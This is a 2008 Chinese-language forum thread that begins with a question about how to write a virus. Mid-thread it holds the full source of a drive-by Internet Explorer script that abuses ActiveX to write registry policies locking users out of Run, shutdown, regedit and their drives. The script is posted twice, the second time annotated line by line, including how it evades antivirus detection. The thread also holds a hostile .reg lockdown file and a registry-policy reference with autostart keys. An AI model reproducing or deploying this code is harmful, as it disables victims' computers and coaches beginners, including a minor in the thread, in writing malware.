JBTALKS.CC

标题: 怎樣寫virus [打印本页]
作者: 夜风    时间: 2008-2-26 11:01 PM
标题: 怎樣寫virus
怎樣寫virus如題
還要具備甚麼條件
甚麼軟件
作者: Dhilip89    时间: 2008-2-27 01:50 AM
为何要写病毒呢？很好玩吗？

如果真的想这样做的话这里有提示：
条件：会编程、精通电脑、精通操作系统
软件：任何可用的程序编译器 、简单的文件编辑程序(Text Editor)

其余的自行解决，本人不会教你也不会帮你。
作者: DeViL-MaTTheW    时间: 2008-2-27 02:03 AM
对丫。。精通电脑是说精通所有的电脑哦。。
如果要所写的病毒能在任何电脑上运作的话，还得学机器语言（学一堆符号，学指令等）。。
有些人特地学，还要学之少三四年的课程。。
在这里是不可能能够教的（想教也不能丫）。。
等你先会写普通的程式再说吧。。。
作者: goodday    时间: 2008-2-27 04:14 AM
抓我就会，写就放弃吧
Dhilip89 , DeViL-MaTTheW
VBS 也写到咯
wscripts，cscripts 嘛
compiler 就是windows 嘛

我很多sample~~~
最后的是msn的vbs
作者: Dhilip89    时间: 2008-2-27 12:37 PM
原帖由 goodday 于 2008-2-27 04:14 AM 发表
抓我就会，写就放弃吧
Dhilip89 , DeViL-MaTTheW
VBS 也写到咯
wscripts，cscripts 嘛
compiler 就是windows 嘛

我很多sample~~~
最后的是msn的vbs


我当然知道脚本语言也可以嘛。。。
wscript/cscript host 只算是 interpreter
我告诉他的是纯programming,不要依赖任何scripting language.

我自己也从朋友的电脑抓过几个vbs病毒，我给作者的评语: 技术烂到不知道要如何形容。。。

[ 本帖最后由 Dhilip89 于 2008-2-27 12:38 PM 编辑 ]
作者: Super-Tomato    时间: 2008-2-27 06:45 PM
vbs 也有各種玩法就看作者自己本身的心態.
作者: goodday    时间: 2008-2-27 07:09 PM
番茄兄说对咯
我通常是用vbs
来maintain server的backup
以不要install 的环境，它是最好的咯

通常写vbs病毒的，都会给我捉到。
作者: 飓风    时间: 2008-2-28 12:58 PM
提示: 作者被禁止或删除 内容自动屏蔽
作者: goodday    时间: 2008-2-28 11:35 PM
  刚刚中。。。。。
修复中。。。。。  

  1. <SCRIPT language=JavaScript>
  2. document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
  3. function AddFavLnk(loc, DispName, SiteURL)
  4. {
  5. var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
  6. Shor.TargetPath = SiteURL;
  7. Shor.Save();
  8. }
  9. function f(){
  10. try
  11. {
  12. ActiveX initialization
  13. a1=document.applets[0];
  14. a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
  15. a1.createInstance();
  16. Shl = a1.GetObject();
  17. a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
  18. a1.createInstance();
  19. FSO = a1.GetObject();
  20. a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
  21. a1.createInstance();
  22. Net = a1.GetObject();

  24. try
  25. {
  26. if (documents .cookies.indexOf("Chg") == -1)
  27. {

  29. file://Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://com.6to23.com/");
  30. var expdate = new Date((new Date()).getTime() + (1));
  31. documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

  33. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); file:
  34. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY"); file:
  35. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"); file:
  36. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "63000000", "REG_DWORD"); file:
  37. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD"); file:
  38. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
  39. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
  40. Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "您的计算机已经被[url]http://www.cnhack.org/[/url]优化: ）");
  41. Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "您的计算机已经被[url]http://www.cnhack.org/[/url]优化: ）");
  42. file:
  43. Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★[url]http://com.6to23.com/[/url] & [url]http://www.cnhack.org/[/url]");
  44. Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★[url]http://com.6to23.com/[/url] & [url]http://www.cnhack.org/[/url]");
  45. file:
  46. var expdate = new Date((new Date()).getTime() + (1));
  47. documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
  48. }
  49. }
  50. catch(e)
  51. {}
  52. }
  53. catch(e)
  54. {}
  55. }
  56. function init()
  57. {
  58. setTimeout("f()", 1000);
  59. }
  60. init();</SCRIPT>
复制代码
作者: goodday    时间: 2008-2-28 11:39 PM
遇到有On888.xxx之
类的网址请不要点击

作者: Dhilip89    时间: 2008-2-29 09:36 AM
原帖由 goodday 于 2008-2-28 11:39 PM 发表
遇到有On888.xxx之
类的网址请不要点击



原来你用IE上网，难怪你会中招....
作者: goodday    时间: 2008-2-29 11:50 AM

．ｎｅｔ　麻～～～
作者: Dhilip89    时间: 2008-2-29 03:59 PM
原帖由 goodday 于 2008-2-29 11:50 AM 发表

．ｎｅｔ　麻～～～


.net 也可以用Firefox的嘛
作者: 高高在上    时间: 2008-3-1 10:50 PM
写VIRUS只是危害电脑吧了啦~~还是不要比较好！！学会抓就好了~~哈哈！！
作者: kelvin5129    时间: 2008-3-2 09:55 AM
标题: 回复 #9 goodday 的帖子
這個是virus嗎'?甚麼file來的?
作者: Autistic紅毛丹    时间: 2008-3-6 06:21 PM
我全部都看不懂！
虽然很想学下！！
作者: --梦--泪==    时间: 2008-3-7 06:57 PM
干嘛要做virus哦~
闲没事情哦~
作者: Autistic紅毛丹    时间: 2008-3-7 08:49 PM
是想学多一样关于电脑的东西！！
作者: 西天佛公    时间: 2008-3-8 11:55 AM
原帖由 Dhilip89 于 2008-2-27 01:50 AM 发表
为何要写病毒呢？很好玩吗？

如果真的想这样做的话这里有提示：
条件：会编程、精通电脑、精通操作系统
软件：任何可用的程序编译器 、简单的文件编辑程序(Text Editor)

其余的自行解决，本人不会教你也 ...

你会写噢？你不希望人家写，还给人家提示。。。
作者: 西天佛公    时间: 2008-3-8 11:59 AM
我一向的希望是能学写game progamming,可是用电脑时间不多。。。
我能请问vbs是什么吗？抓病毒是什么意思？
作者: hui_bler    时间: 2008-3-14 05:54 PM
我老师会写...可是她不要教我..伤心死了
作者: goodhermit95    时间: 2008-3-15 08:13 PM
VIRUS给新手学，就是reg，vbs，command这几个是简单的，怎样做？不教你，等下你去害人
作者: goodhermit95    时间: 2008-3-15 08:16 PM
标题: 回复 #9 goodday 的帖子
要不要我帮你加到更够力？start，turn off computer，right click 全部不能
作者: goodday    时间: 2008-3-30 06:34 AM
原帖由 goodhermit95 于 2008-3-15 08:16 PM 发表
要不要我帮你加到更够力？start，turn off computer，right click 全部不能


你有code 分享吗？？

paste 你的code 看看
作者: 风中死神    时间: 2008-3-30 09:07 PM
???我完全不懂怎样写程式=。=
作者: 风中死神    时间: 2008-3-30 09:09 PM
原帖由 goodhermit95 于 2008-3-15 08:16 PM 发表
要不要我帮你加到更够力？start，turn off computer，right click 全部不能

你真得那么行吗？ =。= 有点怕人。。。
作者: goodhermit95    时间: 2008-4-1 12:00 PM
真的要？等下弄不回不管我的事
作者: goodday    时间: 2008-4-4 11:53 AM
paste la~~~
要学
作者: goodday    时间: 2008-4-4 12:53 PM
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
-------------------------- 我的细解
上面那段是为了不要给anti virus scan到 page 里的 ActiveXComponent
------------------------- by goodday
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
-------------------------- 我的细解
当ActiveXComponent 的object 如果可以load 就把
WSH（Windows Script Host）拿来用 咯
------------------------- by goodday

a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
-------------------------- 我的细解
这个是
Scripting.FileSystemObject 用来写txt 或文件
------------------------- by goodday
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
-------------------------- 我的细解
这个是
Windows Scripting Host 网络object 用来找 你隔壁的 电脑 --> //goodday/mp3/
------------------------- by goodday
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookies.indexOf("Chg") == -1)
{

file://Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://com.6to23.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); file:
-------------------------- 我的细解
关掉你的  start--> run

------------------------- by goodday
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY"); file:
-------------------------- 我的细解
关掉你的  ？？
------------------------- by goodday
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY"); file:
-------------------------- 我的细解
关掉你的  start--> logoff 咯
------------------------- by goodday
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "63000000", "REG_DWORD"); file:
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD"); file:
-------------------------- 我的细解
start--> run    打 regedit  开不到 的
------------------------- by goodday
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "您的计算机已经被http://www.cnhack.org/优化: ）");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "您的计算机已经被http://www.cnhack.org/优化: ）");
file:
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
file:
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init();</SCRIPT>

不明的我么这边讨论啦
作者: goodday    时间: 2008-4-4 01:15 PM
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
把code save在你的 ie的save favorite 的list 中
ie 6 没update 过的 漏洞

我有用ie 6 和 ie 7
作者: goodhermit95    时间: 2008-4-5 05:06 PM
标题: 回复 #29 goodday 的帖子
吓，镜头被你抢完了
作者: goodday    时间: 2008-4-6 01:36 PM
写了9年的program 咯
老咯~~~~
你呢？？？？
干吗 的？？
作者: goodhermit95    时间: 2008-4-6 05:47 PM
标题: 回复 #32 goodday 的帖子
我还是13岁的学生。。。
刚写了 bat 的程式-free register hyper cam 的，现在要尝试高级点的，vbs
作者: goodday    时间: 2008-4-6 07:06 PM
vbs 我 也写不少
for server 的 database update and checking
我现在学着新的 power shell
2008 server 要来取代 vbs cscripts 的
作者: goodhermit95    时间: 2008-4-6 07:46 PM
标题: 回复 #34 goodday 的帖子
你几岁了啊？em0010 佩服哦。。。
作者: goodhermit95    时间: 2008-4-6 07:50 PM
我也来放一个～做成.reg文件
  1. Windows Registry Editor Version 5.00

  3. [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
  4. "NoFavoritesMenu"=dword:00000001
  5. "NoRecentDocsMenu"=dword:00000001       
  6. "NoSMMyDocs"=dword:00000001
  7. "NoSMMyPictures"=dword:00000001
  8. "NoStartMenuMyMusic"=dword:00000001
  9. "NoStartMenuNetworkPlaces"=dword:00000001
  10. "NoNetworkConnections"=dword:00000001
  11. "NoUserNameInStartMenu"=dword:00000001
  12. "NoSMHelp"=dword:00000001
  13. "NoFind"=dword:00000001
  14. "NoRun"=dword:00000001
  15. "NoWindowsUpdate"=dword:00000001
  16. "NoSetFolders"=dword:00000001               
  17. "NoSetTaskbar"=dword:00000001               
  18. "NoFolderOptions"=dword:00000001       
  19. "NoRecentDocsHistory"=dword:00000001       
  20. "ClearRecentDocsOnExit"=dword:00000001       
  21. "NoChangeStartMenu"=dword:00000001       
  22. "NoToolbarsOnTaskbar"=dword:00000000
  23. "LockTaskbar"=dword:00000001
  24. "NoSaveSettings"=dword:00000001       
  25. "NoTrayContextMenu"=dword:00000000       
  26. "NoViewContextMenu"=dword:00000000
  27. "NoSetActiveDesktop"=dword:00000001
  28. "StartMenuLogoff"=dword:00000001
  29. "NoSimpleStartMenu"=dword:00000001
  30. "NoStartMenuMFUprogramsList"=dword:00000001
  31. "NoLogOff"=dword:00000001
  32. "NoDrives"=dword:00000000
  33. "NoTrayContextMenu"=dword:00000001

  35. [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ControlPanel\NameSpace\{0DF44EAA-FF21-4412-828E-260A8728E7F1}]
  36. @="Taskbar and Start Menu"

  38. [HKEY_CURRENT_USER\Control Panel\don't load]
  39. "nusrmgr.cpl"="No"
复制代码
作者: goodday    时间: 2008-4-6 09:39 PM
哇~~~你要这样毒吗？？？
但还开到 regedit 叻~~~~
作者: goodhermit95    时间: 2008-4-7 12:06 AM
标题: 回复 #37 goodday 的帖子
开启 hidden floder 看不到，BAT COMMAND lock 掉。。。
作者: goodday    时间: 2008-4-7 02:27 AM
原帖由 goodhermit95 于 2008-4-7 12:06 AM 发表
开启 hidden floder 看不到，BAT COMMAND lock 掉。。。


我就讲你这个scripts 毒咯
作者: goodday    时间: 2008-4-7 02:37 AM
《開始選單及相關設定》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoRecentDocsMenu"=dword:00000001（隱藏開始->我的文件表單）
"NoRecentDocsHistory"=dword:00000001（禁止將開啟的我的文件存入歷史記錄）
"ClearRecentDocsOnExit"=dword:00000001（結束系統自動清除歷史記錄，包括我的文件、執行和尋找）
"NoFavoritesMenu"=dword:00000001（隱藏開始->我的最愛表單）
"NoSMHelp"=dword:00000001（隱藏開始->說明 表單）（WIN2000/ME/XP）
"NoFind"=dword:00000001（禁用尋找/搜尋）
"NoRun"=dword:00000001（禁用執行，禁止IE訪問本機資源，除非輸入"桌面"，禁止WIN2000/XP通過工作管理器新增新工作）
"NoLogOff"=dword:00000001（禁用註銷）（WIN9X）
"StartMenuLogOff"=dword:00000001（禁用註銷）（WIN2000/XP）
"NoClose"=dword:00000001（禁用關閉系統/電腦關機）
"NoSetFolders"=dword:00000001（隱藏控制台、列印機/網路連接，WIN2000/XP僅從開始選單隱藏；此外還禁用WIN+E快捷鍵）
"NoSetTaskbar"=dword:00000001（禁止設定工具列和開始選單）
"NoFolderOptions"=dword:00000001（從開始->設定表單和檔案總管表單中移除資料夾選項）
"NoWindowsUpdate"=dword:00000001（從開始選單中移除Windows Update，禁止到Windows Update網站昇級）
"NoSetActiveDesktop"=dword:00000001（從開始->設定表單中移除活動桌面）（WIN9X）
"NoActiveDesktop"=dword:00000001（禁用活動桌面，WIN9X/2000在桌面右鍵表單和內容裡不出現相關項目）
"NoActiveDesktopChanges"=dword:00000001（禁止更改活動桌面，在內容裡不出現相關項目）

《檔案總管設定》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoFileMenu"=dword:00000001（隱藏Explorer中的文件表單）
"NoNetConnectDisconnect"=dword:00000001（禁止使用檔案總管或網路芳鄰映射或中斷連線網路驅動器）
"NoWebView"=dword:00000001（禁止按Web頁檢視）（WIN2000/XP）

《隱藏桌面圖示》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"Nodesktop"=dword:00000001（隱藏桌面所有圖示）
"NoNetHood"=dword:00000001（隱藏桌面網路芳鄰圖示）
"NoInternetIcon"=dword:00000001（隱藏桌面Internet Explorer圖示）

《禁止使用滑鼠右鍵》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoViewContextMenu"=dword:00000001（禁止在桌面、我的電腦中使用滑鼠右鍵）
"NoTrayContextMenu"=dword:00000001（禁止在工具列中使用滑鼠右鍵）
"NoChangeStartMenu"=dword:00000001（禁止在開始選單使用滑鼠右鍵及拖放）

《列印機設定》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoAddPrinter"=dword:00000001（禁止增加列印機）
"NoDeletePrinter"=dword:00000001（禁止移除列印機）
"NoPrinterTabs"=dword:00000001（隱藏列印機內容中的一般和詳細資料頁面）（WIN9X）

《隱藏驅動器》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives" =hex:01,00,00,00（隱藏A盤）/02,00,00,00（隱藏B盤）/04,00,00,00（隱藏C碟）/08,00,00,00（隱 藏D碟）/10,00,00,00（隱藏E碟）/20,00,00,00（隱藏F盤）/ff,ff,ff,03（隱藏全部）
[注]若要隱藏多個驅動器，將其對應的值相加即可，如要隱藏A盤和C碟，設定"05,00,00,00"；要隱藏D碟，E碟和F盤設定"38，00，00，00"，注意要以十六進制運算。
作者: goodday    时间: 2008-4-7 02:37 AM
《允許/取消光碟的自動執行功能》
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Expolrer]
"NoDriveTypeAutoRun"=hex:95,00,00,00(Win98)/91,00,00,00(WinXP)（允許自動）
"NoDriveTypeAutoRun"=hex:b5,00,00,00（取消自動）
[注1]WIN9X此項設定並不能關閉自動播放CD功能，若要單獨禁止CD自動播放，可在註冊表中做如下修改：
[HKEY_CLASSES_ROOT\AudioCD\shell]
[操作]移除"預設值"值中的字串串"play"。
[注2]在WIN9X下若要徹底關閉自動執行功能，可以在裝置管理員光碟的內容設定裡禁用"自動插入通告"，即插入和彈出光碟Windows都不會自動重新整理，這項設定也可以在註冊表中修改：
[HKEY_LOCAL_MACHINE\Enum\SCSI\<光碟型號ID>\MF&CH...]
"AutoInsertNotification"=hex:00
WIN2000/XP可以進行如下設定達到相同功能：
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom]
"Autorun"=dword:00000000

《自動播放功能詳釋》
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Expolrer]
"NoDriveTypeAutoRun" 指定按設備檔案類型禁止自動播放。1：未知檔案類型，4：可移動磁牒，8：硬碟，10：網路驅動器，20：光碟，40：RAM驅動器，80：未知檔案類 型，FF：所有檔案類型。若要禁止某一檔案類型自動播放，直接使用對應的值，若要禁止幾種檔案類型，則使用它們數值相加的值，如95=1+4+10+ 80，91=1+10+80， b5=1+4+10+20+80。
"NoDriveAutoRun"指定按磁碟代號禁止自動播放。相關設定可以參考NoDrives值，最大值為hex:ff,ff,ff,03，禁止所有盤自動播放。

《使用傳統用戶介面（Shell外殼）》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"ClassicShell"=dword:00000001
[作用]WIN9X/2000：關閉工具列的工作列功能；從檔案總管中移除檢視表單中"按Web頁"選項；關閉"資料夾選項"中的"Windows 桌面更新"；取消開始選單中的我的最愛（WIN9X）；"關閉 Windows"對話視窗中多了"註銷"。
WINXP：禁用Active Desktop和Web視圖；用戶無法將系統組態成通過按下開啟項目。

《禁止使用Windows快捷鍵》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoWinKeys"=dword:00000001
[注]此設定禁用了WIN+E、WIN+D、WIN+F、WIN+R等Windows快捷鍵。

《結束時不儲存某些設定》

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoSaveSettings"=dword:00000001
[注]該設定使系統結束時不儲存開啟視窗的位置和大小，工具列中工作列的位置，但依然儲存桌面圖示位置、開始選單排序等設定。

《只執行許可的Windows應用程式》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"RestrictRun"=dword:00000001（禁止執行所有程式）
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun]
[操作]新增字串串值，名稱可以任意，串值為能執行的應用程式，保證"regedit.exe"包含在列表中。

《禁止使用註冊表編輯器regedit.exe》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools"=dword:00000001
作者: goodday    时间: 2008-4-7 02:38 AM
《禁用顯示/密碼控制台》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoDispCPL"=dword:00000001（顯示）
"NoSecCPL"=dword:00000001（密碼）（WIN9X）

《隱藏內容中的頁面》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoDispBackgroundPage"=dword:00000001（WIN9X/2000:背景 / WINXP:桌面）
"NoDispScrSavPage"=dword:00000001（螢幕保護程序）
"NoDispAppearancePage"=dword:00000001（WIN9X/2000:外觀 / WINXP:外觀,主題）
"NoDispSettingsPage"=dword:00000001（WIN9X:效果,web,設定 / WIN2000/XP:設定）

《隱藏密碼內容中的頁面》（WIN9X）
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoPwdPage"=dword:00000001（更改密碼）
"NoProfilePage"=dword:00000001（使用者設定檔，同時禁用用戶控制台）
"NoAdminPage"=dword:00000001（遠端管理）
[注]要顯示"遠端管理"，需先安裝"Microsoft網路上的文件與列印機共享"。

《隱藏系統內容中的頁面》（WIN9X）
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoDevMgrPage"=dword:00000001（裝置管理員）
"NoConfigPage"=dword:00000001（硬體組態文件）
"NoFileSysPage"=dword:00000001（文件系統）
"NoVirtMemPage"=dword:00000001（虛擬記憶體）

《網路設定》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
"NoNetSetup"=dword:00000001（禁用網路控制台）（WIN9X）
"NoNetSetupIDPage"=dword:00000001（隱藏網路中的標幟頁面）（WIN9X）
"NoNetSetupSecurityPage"=dword:00000001（隱藏網路中訪問控制頁面）（WIN9X）
"NoEntireNetwork"=dword:00000001（在網路芳鄰中不出現整個網路）
"NoWorkgroupContents"=dword:00000001（在網路芳鄰中不出現工作組內容）（WIN9X）
"NoFileSharingControl"=dword:00000001（禁止出現資料夾的共享表單）（WIN9X）
"NoPrintSharingControl"=dword:00000001（禁止出現列印機的共享表單）（WIN9X）

《活動桌面設定》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop]（HKLM）
"NoHTMLWallPaper"=dword:00000001（只允許使用圖形牆紙）
"NoChangingWallpaper"=dword:00000001（禁止修改牆紙，但仍然能用ACDSee修改）
"NoAddingComponents"=dword:00000001（禁止增加任何桌面項）
"NoDeletingComponents"=dword:00000001（禁止移除任何桌面項）
"NoCloseDragDropBands"=dword:00000001（禁止關閉和拖放全部工作列）（WIN9X）
"NoMovingBands"=dword:00000001（禁止改變全部工作列的尺寸）（WIN9X）
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoCloseDragDropBands"=dword:00000001（禁止關閉和拖放全部工作列）（WIN2000/XP）
"NoMovingBands"=dword:00000001（禁止改變全部工作列的尺寸）（WIN2000/XP）
作者: goodday    时间: 2008-4-7 02:38 AM
《禁用MS-DOS》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]
"Disabled"=dword:00000001（禁止在Windows下使用MS-DOS方式及其它DOS程序）（WIN9X）
"NoRealMode"=dword:00000001（禁止重新啟動電腦並切換到MS-DOS方式）（WIN9X）（HKLM）

《密碼與共享設定》（WIN9X）
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
"DisablePwdCaching"=dword:00000001（禁用密碼快取）
[注]設定不能在控制台的密碼內容中更改密碼，登入時用戶使用任何一個密碼或不用密碼就可以登入。
"MinPwdLen"=dword:0000000x（0≤x≤8）（設定Windows密碼的最小長度）
"AlphanumPwds"=dword:00000001（使Windows密碼必須為數位和字母）
"HideSharePwds"=dword:00000000（顯示共享密碼，而不是*號）
[注]新增此鍵值將更改Windows預設值設定，即使再把此鍵值移除也會顯示共享密碼，除非將此值設為1。
"NoFileSharing"=dword:00000001（禁止文件共享）
[注]設定此值後，若之前沒有設定共享，則不允許再設定，若之前已設定共享，則不能共用資料夾。

《Windows系統資訊》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion]（WIN2000/XP）
"RegisteredOwner"="ab"（註冊的名稱）
"RegisteredOrganization"="ab"（註冊的組織）
"ProductId"="ab"（產品ID）
"ProductKey"="ab"（安裝Windows的序列號）
"Version"="ab"（Windows版本，出現在"關於..."頁面）（WIN9X）
"SystemRoot"="C:\\WINDOWS"（Windows系統檔案夾）
"ProgramFilesDir"="C:\\Program Files"（程式文件夾）
"CommonFilesDir"="C:\\Program Files\\Common Files"（通用資料夾）

《啟動即自動執行的程序》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]（僅執行一次）
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]（僅執行一次）
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run]（WIN2000/XP）
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run]（WIN2000/XP）
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows]（WIN2000/XP）
"load"="ab"
"run"="ab"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]（WIN2000/XP）
"Userinit"="ab"
[注1]對於上面的"load"，"run"和"Userinit"，若要指定執行多個程序，在中間加","即可。
[注2]Run中的程序是WINDOWS啟始化後才執行的,而RunService中的程序是在作業系統啟動時就開始執行的，也就是說RunServices中的程序先於Run中的程序執行。


《Windows安裝訊息》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup]
"SourcePath"="ab"（Windows安裝路徑）
"lastdrive"="z"（系統可用磁碟代號）（WIN9X）
"Installation Sources"=（系統程序安裝路徑的歷史記錄）（WIN2000/XP）
"Driver快取Path"=（驅動快取路徑）（WIN2000/XP
作者: goodday    时间: 2008-4-7 02:40 AM
我的ref~~~
写vbs 时很好用的
作者: goodhermit95    时间: 2008-4-7 07:51 PM
标题: 回复 #44 goodday 的帖子
哇老，你自己弄得回吗？？
作者: goodday    时间: 2008-4-8 12:40 AM
我的电脑有 5 分钟的 恢复系统
我电脑很重。。。。。
ghost 是我的良伴
所有的资料在d:
c: 是3个月ghost 一次的
作者: goodhermit95    时间: 2008-4-8 03:46 PM
标题: 回复 #46 goodday 的帖子
问一下：VB code
如果我要copy abcdef to clipboard ，code是怎样的？
作者: goodday    时间: 2008-4-8 10:50 PM
.net 很容易
写
My.Computer.Clipboard.SetText("This is a test string.")
读
My.Computer.Clipboard.GetText()

vb
Public Function GetClipboardText() As String
      Dim objClipboard As IDataObject = Clipboard.GetDataObject()
        With objClipboard
            If .GetDataPresent(DataFormats.Text) Then Return _
               .GetData(DataFormats.Text)
        End With
End Function

作者: goodday    时间: 2008-4-8 10:55 PM
自己配合
msgbox(My.Computer.Clipboard.GetText())
